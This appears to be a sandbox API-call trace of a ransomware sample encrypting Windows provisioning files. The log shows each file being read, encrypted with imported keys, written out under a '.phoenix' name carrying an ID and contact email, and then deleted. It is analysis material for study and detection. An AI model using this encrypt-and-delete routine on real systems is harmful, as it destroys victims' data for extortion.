	[0243.604] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.605] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0243.605] CloseHandle (hObject=0x2d4) returned 1
	[0243.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.605] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.605] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.606] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0243.606] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.606] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0243.614] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0243.614] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0243.614] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0243.614] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.614] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0243.615] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0243.615] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0243.615] CryptDestroyKey (hKey=0x151280) returned 1
	[0243.615] CloseHandle (hObject=0x2d4) returned 1
	[0243.615] CloseHandle (hObject=0x2d8) returned 1
	[0243.615] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.616] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.616] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.616] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=721) returned 1
	[0243.616] CloseHandle (hObject=0x2d8) returned 1
	[0243.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.616] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.617] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.617] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.617] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.617] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0243.617] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.617] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d1, lpOverlapped=0x0) returned 1
	[0243.707] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0243.707] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0243.708] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0243.708] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.708] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0243.708] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0243.708] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0243.708] CryptDestroyKey (hKey=0x151100) returned 1
	[0243.708] CloseHandle (hObject=0x2d8) returned 1
	[0243.708] CloseHandle (hObject=0x2d4) returned 1
	[0243.708] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.709] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.709] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.710] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0243.710] CloseHandle (hObject=0x2d4) returned 1
	[0243.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.710] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.710] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.710] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.710] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.711] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0243.711] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.711] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0243.713] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0243.714] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0243.714] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0243.714] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.714] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0243.714] CryptDestroyKey (hKey=0x151500) returned 1
	[0243.714] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0243.715] CryptDestroyKey (hKey=0x151140) returned 1
	[0243.715] CloseHandle (hObject=0x2d4) returned 1
	[0243.715] CloseHandle (hObject=0x2d8) returned 1
	[0243.715] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.716] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.716] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=719) returned 1
	[0243.716] CloseHandle (hObject=0x2d8) returned 1
	[0243.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.717] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.717] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.717] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.717] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0243.717] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.717] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cf, lpOverlapped=0x0) returned 1
	[0243.840] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0243.840] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0243.841] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0243.841] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.841] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0243.841] CryptDestroyKey (hKey=0x151600) returned 1
	[0243.841] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0243.841] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0243.841] CloseHandle (hObject=0x2d8) returned 1
	[0243.841] CloseHandle (hObject=0x2d4) returned 1
	[0243.841] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.842] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.842] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.843] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0243.843] CloseHandle (hObject=0x2d4) returned 1
	[0243.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
